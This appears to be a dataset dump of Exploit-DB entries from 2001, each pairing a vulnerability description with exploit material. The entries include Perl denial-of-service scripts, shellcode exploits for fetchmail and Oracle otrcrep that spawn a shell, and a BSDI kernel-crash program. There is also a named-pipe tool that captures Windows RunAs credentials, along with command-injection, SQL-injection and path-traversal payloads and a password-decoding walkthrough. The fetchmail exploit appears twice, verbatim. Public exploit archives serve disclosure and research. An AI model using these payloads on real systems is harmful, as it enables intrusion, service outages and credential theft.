QLWD/code_shield huggingface dataset:
标题: AOLServer 3 - 'Authentication String' Remote Buffer Overflow (1) EDB-ID: 21088 CVE: 2001-1067 类型: REMOTE 平台: UNIX 发布日期: 2001-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/3230/info

AOLServer is a freely available, open source web server. It was originally written by AOL, and is currently developed and maintained by AOL and public domain.

A problem has been discovered that can allow remote users to crash an AOLServer, denying service to legitimate users of the system. The problem is due to the handling of passwords. It is possible for a remote user to overflow a buffer within the AOLServer process by sending a password of 2048 bytes. This could result in the overwriting of stack variables, including the return address.

This makes it possible for a remote user to execute arbitrary code with the privileges of the AOLServer process, and potentially gain local access.

#!/usr/bin/perl

## Nate Haggard <nate@securitylogics.com>
## AOLserver 3.0 vulnerability
## August 22, 2001

use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto     => "tcp",
                                 PeerAddr  => $host,
                                 PeerPort  => "http(80)",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host\n" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote; URL: https://www.exploit-db.com/exploits/21088
标题: Respondus for WebCT 1.1.2 - Weak Password Encryption EDB-ID: 21078 CVE: 2001-1003 类型: LOCAL 平台: MULTIPLE 发布日期: 2001-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/3228/info

Respondus is an application designed to add functionality to WebCT's quiz, self-test and survey tools. WebCT is a commercial e-learning solution.

When a user opts to have Respondus remember the username/password for WebCT access, the information is saved encrypted in a file called 'WEBCT.SRV'. The encrypted value of the username and password are converted to their ASCII values and added to a constant. A hex editor can be used to compare differences between the file before credentials are saved with the version of the file after credentials are saved. The values of the username/password are determined by subtracting the constants in 'WEBCT.SRV' prior to saving the credentials from the new values.

The constants are the same for every version of Respondus and are easily located, which may allow the attacker to forego the step of comparing the old and new versions of 'WEBCT.SRV', if the constants are known.

Successful exploitation of this issue will allow the attacker to access other WebCT accounts, which may lead to elevated privileges or the disclosure of sensitive information. 

C8-EF = userid
F0-117 = password

To see the password in plain text subtract the value shown in the WEBCT.SVR
file with no info saved from the value in the same position in the file
with the info saved. Stop when you reach the point where the values are
equal and the result is therefore 0.

i.e.

(the values after username is remembered:)
C8-EF 8B 88 7C 88 7A 7B 12 0D 13 0E 14 0F 15 10 16 11 17 12 11 13 12 14 13 15 14 16 15 17 16 0D 17 0E 11 0F 12 10 13 11 14 12
(the constants:)
C8-EF 16 15 17 16 11 17 12 0D 13 0E 14 0F 15 10 16 11 17 12 11 13 12 14 13 15 14 16 15 17 16 0D 17 0E 11 0F 12 10 13 11 14 12
75 73 65 72 69 64 0 <- stop
u s e r i d

(the values after the password is saved:)
F0-117 85 74 89 87 8E 84 83 7A 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 13 14 14 15 15 16 16 17 17 0D 11 0E 12 0F 13 10
(the constants:)
F0-117 15 13 16 14 17 15 11 16 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 13 14 14 15 15 16 16 17 17 0D 11 0E 12 0F 13 10
70 61 73 73 77 6F 72 64 0 <- stop
p a s s w o r d URL: https://www.exploit-db.com/exploits/21078
标题: Intego FileGuard 2.0/4.0 - Weak Password Encryption EDB-ID: 21076 CVE: 2001-1165 类型: LOCAL 平台: OSX 发布日期: 2001-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/3213/info

Intego FileGuard is a commercial access control utility for Mac OS versions 7-9.1. It's functionality includes the ability to enforce privileges, log activities, manage user accounts, restrict access by time, etc.

Intego FileGuard provides system level access restrictions to versions of Mac OS that otherwise would not have such access controls. However, a vulnerability exists which allows a local user to circumvent those controls and elevate privileges. A weak algorithm is used to encrypt the stored passwords.

mSec has released a tool called Disengage which will attempt to decrypt passwords, provided circumstances exist which allow Disengage to work. Passwords for Intego DiskGuard may also be decrypted in this manner.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21076.sit URL: https://www.exploit-db.com/exploits/21076
标题: SuSE 6.3/6.4/7.0 sdb - Arbitrary Command Execution EDB-ID: 21075 CVE: 2001-1130 类型: REMOTE 平台: LINUX 发布日期: 2001-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/3208/info

An input validation error exists in sdb, the SuSE Support Data Base.

The problem exists in the sdbsearch.cgi script, which uses data directly from the 'Referer' header field from a HTTP request as a path when opening it's "keylist.txt" file. The keylist file contains a list of keywords and associated files, which are opened using Perl's open() command.

If an attacker is able to create a malicious "keylist.txt" file on a vulnerable host, it may be possible for the attacker to cause arbitrary commands to be executed by the sdbsearch.cgi script. 

Proof of concept is very simple, just create harmful keylist.txt for instance in /tmp directory and send request to http server like this:

GET /cgi-bin/sdbsearch.cgi?stichwort=keyword HTTP/1.0
Referer: http://szachy.org/../../../../../tmp

(very deep traversal because we don't know what is DOCUMENT_ROOT)

and an example content of our /tmp/keylist.txt create like this:
$ echo -e "keyword\0touch exploitable|" > /tmp/keylist.txt

After successful attempt there will be "exploitable" file in /tmp directory. URL: https://www.exploit-db.com/exploits/21075
标题: glFTPd 1.x - 'LIST' Denial of Service EDB-ID: 21074 CVE: 2001-0965 类型: DOS 平台: UNIX 发布日期: 2001-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3201/info

glFtpD contains an input validation error that may allow a malicious user to cause a denial of service against a host running the daemon.

The problem occurs when a specially crafted 'LIST' command is received by the server. If the argument to the command contains an excessive number of '*' characters, the server will cease to respond and consume all available CPU resources on the system.

If the attack is successful, the server will need to be manually restarted to regain normal functionality.

#!/usr/bin/perl

use IO::Socket;
use Socket;

print "-= ASGUARD LABS EXPLOIT - glFTPD v1.23i =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl gl123DOS.pl <host> <user>
<pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err = "*" x 256;

$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: can't connect  to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: can't send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n"  or die
"Error: can't send pass\n";

print $remote "LIST $err/\n" and print "3. Sending : ErrorCode...\n\n"or die
"Error: can't send error code\n";

print "Attack done. press any key to exit\nnote: Attack done doesn't mean
Attack successful\n";
$bla= <STDIN>;
close $remote; URL: https://www.exploit-db.com/exploits/21074
标题: Microsoft IIS 5.0 - In-Process Table Privilege Escalation EDB-ID: 21072 CVE: 2001-0507 类型: LOCAL 平台: WINDOWS 发布日期: 2001-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/3193/info

A vulnerability exists in Microsoft's Internet Information Services 5.0 which could allow a user with write permission to run any code with System privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21072.zip URL: https://www.exploit-db.com/exploits/21072
标题: BSDI 3.0/3.1 - Local Kernel Denial of Service EDB-ID: 21077 CVE: 2001-1133 类型: DOS 平台: BSD 发布日期: 2001-08-21 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/3220/info

It has been reported that there is a locally exploitable vulnerability in BSDI.

It is allegedly possible for a userland process to cause the kernel to halt.

This may be due to a bad system call. 
*/

/* (BSDi)*[v3.0/3.1] system failure, by
   v9[v9@realhalo.org].  this will result
   in the ability of any user to fail the
   system, and reboot it.  this bug is
   similar to that of the "f00f" bug.
   results are similar, except this reboots
   the machine instead of having a freezing
   effect.  tested, and built for: BSDi
   v3.0/3.1. (arch/non-specific to BSDi)
*/
char bsdi_killcode[] =
 "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
 "\xb0\x9a\x50\x89\xe7\xff\xd7";
int main() {
 void (*execcode)()=(void *)bsdi_killcode;
 printf("[ (BSDi)*[v3.0/3.1]: system failu"
 "re, by: v9[v9@realhalo.org]. ]\n");
 printf("*** no output should be seen afte"
 "r this point.\n");
 execcode();
 printf("*** system failure failed.\n");
 exit(0);
} URL: https://www.exploit-db.com/exploits/21077
标题: Microsoft Windows Server 2000 - RunAs Service Named Pipe Hijacking EDB-ID: 21069 CVE: 2001-1519 类型: LOCAL 平台: WINDOWS 发布日期: 2001-12-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3185/info

The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu.

When the RunAs service is invoked, it creates a named pipe for client for communication of credentials (in cleartext).

If the RunAs service is stopped, the attacker can create a named pipe with the same name to which credentials will be communicated when another user tries to use 'RunAs'. 

// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

#define MAX_IN_BUF   0x1000
#define MAX_OUT_BUF  0x4
#define MAX_INST     0xA

#define SECONDARY_LOGON_PIPE  _T("\\\\.\\pipe\\SecondaryLogon")


void main()
{
   HANDLE hPipe;

   hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX, 
      PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF, 
      NMPWAIT_USE_DEFAULT_WAIT, 0);

   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Can't create secondary logon pipe.  Error %d\n", GetLastError());
      return;
   }

   printf("Created pipe and waiting for clients...\n");
   if (ConnectNamedPipe(hPipe, 0))
   {
      UCHAR InBuf[MAX_IN_BUF];
      DWORD dwReadCount;
      
      while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
      {
         printf("Read %d bytes.  (ASCII Dump)\n", dwReadCount);

         DWORD dwPos;
         for (dwPos = 0; dwPos < dwReadCount; dwPos++)
         {
            printf("%c ", InBuf[dwPos]);

            if ((dwPos % 16) == 0)
               printf("\n");
         }

         DWORD dwReply = ERROR_ACCESS_DENIED;
         DWORD dwWroteCount;
         WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
      }
   }
   DisconnectNamedPipe(hPipe);
   CloseHandle(hPipe);
} URL: https://www.exploit-db.com/exploits/21069
标题: Sendmail 8.11/8.12 Debugger - Arbitrary Code Execution (4) EDB-ID: 21063 CVE: 2001-0653 类型: LOCAL 平台: LINUX 发布日期: 2001-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3163/info
   
An input validation error exists in Sendmail's debugging functionality.
   
The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given.
   
Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21063.tar.gz URL: https://www.exploit-db.com/exploits/21063
标题: Fetchmail 5.x - POP3 Reply Signed Integer Index EDB-ID: 21064 CVE: 2001-1009 类型: REMOTE 平台: UNIX 发布日期: 2001-08-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3164/info

Fetchmail is a unix utility for downloading email from mail servers via POP3.

Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.

It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's POP3 server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host. 

/* fetchmail proof of concepts i386 exploit
 * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
 * Code under the GPL license.
 *
 * Usage: ./a.out | nc -l -p 3333
 * fetchmail localhost -P 3333 -p POP3
 *
 * This is a bad exploit with offset carefully selected
 * to work in my own system. It will probably not work in
 * your system if you don't modify RETR_OFFSET and SHELL_PTR,
 * but you may try to set the SHELL_PTR to 0xAAAAAAAA
 * and use gdb to obtain the proof that your fetchmail is vulnerable
 * without to exploit it.
 * Or just read the code in pop3.c.
 *
 * To improve the exploit portability you may put the shellcode inside
 * one of the static char buffers, grep 'static char' *.c.
 *
 * Tested on fetchmail 5.8.15 running on Linux 2.4.6
 *
 * On success you should see the ls output.
 */

#include <stdio.h>

#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94

int main(void)
{
 int ish = SHELL_PTR;
 int ret_offset = -10;
 char shellcode[] = /* take the shellcode multiple of 4 in size */
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
 int *sc = (int*) shellcode;
 int noop = 0x90909090;
 int i;

 /* +OK for user and password, than report the number of messages */
 printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
 /* Overwrite the RET pointer */
 for (i = ret_offset-20; i < ret_offset+20; i++)
  printf("%d %d\r\n", i, ish);
 /* Put some NOP */
 for (i = 1; i < 21; i++)
  printf("%d %d\r\n", i, noop);
 /* Put the shell code in the buffer */
 for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
  printf("%d %d\r\n", i, *sc++);
 printf(".\r\n"); /* POP data term */
 return 0;
} URL: https://www.exploit-db.com/exploits/21064
标题: Fetchmail 5.x - IMAP Reply Signed Integer Index EDB-ID: 21066 CVE: 2001-1009 类型: REMOTE 平台: UNIX 发布日期: 2001-08-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3166/info

Fetchmail is a unix utility for downloading email from mail servers via POP3 and IMAP.

Fetchmail contains a vulnerability that may allow for remote attackers to gain access to client systems. The vulnerability has to do with the use of a remotely supplied signed integer value as the index to an array when writing data to memory.

It is be possible for attackers to overwrite critical variables in memory with arbitrary values if the target client's IMAP server can be impersonated. Successful exploitation can lead to the exectution of arbitrary code on the client host.

/* fetchmail proof of concepts i386 exploit
 * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
 * Code under the GPL license.
 *
 * Usage: ./a.out | nc -l -p 3333
 * fetchmail localhost -P 3333 -p POP3
 *
 * This is a bad exploit with offset carefully selected
 * to work in my own system. It will probably not work in
 * your system if you don't modify RETR_OFFSET and SHELL_PTR,
 * but you may try to set the SHELL_PTR to 0xAAAAAAAA
 * and use gdb to obtain the proof that your fetchmail is vulnerable
 * without to exploit it.
 * Or just read the code in pop3.c.
 *
 * To improve the exploit portability you may put the shellcode inside
 * one of the static char buffers, grep 'static char' *.c.
 *
 * Tested on fetchmail 5.8.15 running on Linux 2.4.6
 *
 * On success you should see the ls output.
 */

#include <stdio.h>

#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94

int main(void)
{
 int ish = SHELL_PTR;
 int ret_offset = -10;
 char shellcode[] = /* take the shellcode multiple of 4 in size */
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
 int *sc = (int*) shellcode;
 int noop = 0x90909090;
 int i;

 /* +OK for user and password, than report the number of messages */
 printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
 /* Overwrite the RET pointer */
 for (i = ret_offset-20; i < ret_offset+20; i++)
  printf("%d %d\r\n", i, ish);
 /* Put some NOP */
 for (i = 1; i < 21; i++)
  printf("%d %d\r\n", i, noop);
 /* Put the shell code in the buffer */
 for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
  printf("%d %d\r\n", i, *sc++);
 printf(".\r\n"); /* POP data term */
 return 0;
} URL: https://www.exploit-db.com/exploits/21066
标题: SIX-webboard 2.01 - File Retrieval EDB-ID: 21068 CVE: 2001-1115 类型: REMOTE 平台: CGI 发布日期: 2001-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/3175/info

SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host. 

http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname URL: https://www.exploit-db.com/exploits/21068
标题: Sendmail 8.11/8.12 Debugger - Arbitrary Code Execution (3) EDB-ID: 21062 CVE: 2001-0653 类型: LOCAL 平台: LINUX 发布日期: 2001-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3163/info
  
An input validation error exists in Sendmail's debugging functionality.
  
The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given.
  
Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21062.tar.gz URL: https://www.exploit-db.com/exploits/21062
标题: phpBB 1.4 - SQL Query Manipulation EDB-ID: 21046 CVE: 2001-1472 类型: WEBAPPS 平台: PHP 发布日期: 2001-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3142/info

phpBB is free, open-source, easy-to-use web forums software.

An issue exists in phpBB which allows a remote attacker to manipulate SQL queries in such a way as to gain an administrative account with the service.

This problem is due to improper validation of user-supplied input by certain variables in phpBB. This issue can be exploited by making a cleverly crafted web request that contains arbitrary user-supplied replacement values.

One consequence of successful exploitation is that the attacker will be privy to user information. 

http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23

Summary:

1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page. URL: https://www.exploit-db.com/exploits/21046
标题: Microsoft Windows NT 4.0 - NT4ALL Denial of Service EDB-ID: 21047 CVE: 2001-1122 类型: DOS 平台: WINDOWS 发布日期: 2001-08-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/3144/info

It has been reported that it is possible to cause a denial of service on a Windows NT system using the 'NT4ALL' tool.

The DoS reportedly occurs after the system reboots while being set in 'special mode' using 'NT4ALL'.

In order to exploit NT4ALL, a local user must reportedly have write permissions to the C:\winnt\system32\ directory.

This is a non-default configuration. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21047.zip URL: https://www.exploit-db.com/exploits/21047
标题: id Software Quake 3 Arena Server 1.29 - Buffer Overflow EDB-ID: 21042 CVE: 2001-1289 类型: DOS 平台: MULTIPLE 发布日期: 2001-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/3123/info

Quake3 Arena Server is a software package designed to host multiple Quake 3 players over a network for interactive play.

A vulnerability exists in this software that can allow a malicious user to remotely crash a Quake 3 Server. Execution of arbitrary code may be possible as well. 

perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1 URL: https://www.exploit-db.com/exploits/21042
标题: Oracle OTRCREP Oracle 8/9 - Home Environment Variable Buffer Overflow EDB-ID: 21045 CVE: 2001-0833 类型: LOCAL 平台: UNIX 发布日期: 2001-08-02 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3139/info

Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.

A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba.

/*
 * This vulnerability was researched by:
 * Juan Manuel Pascual Escriba <pask@plazasite.com>
 * cc -o evolut otrcrep.c; ./evolut 300 0
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFER                 300 
#define OFFSET          0 
#define NOP                            0x90
#define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG"
#define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5"


char shellcode[] =
  "\xeb\x1d"
  "\x5e"
  "\x29\xc0"
  "\x88\x46\x07"
  "\x89\x46\x0c"
  "\x89\x76\x08"
  "\xb0\x0b"
  "\x87\xf3"
  "\x8d\x4b\x08"
  "\x8d\x53\x0c"
  "\xcd\x80"
  "\x29\xc0"
  "\x40"
  "\xcd\x80"
  "\xe8\xde\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

 /* void main(int argc, char *argv[]) { */
void main() {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -1420 -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",ORACLE_HOME,1);
setenv("EGG",buff,1);  
system(BINARY);  
} URL: https://www.exploit-db.com/exploits/21045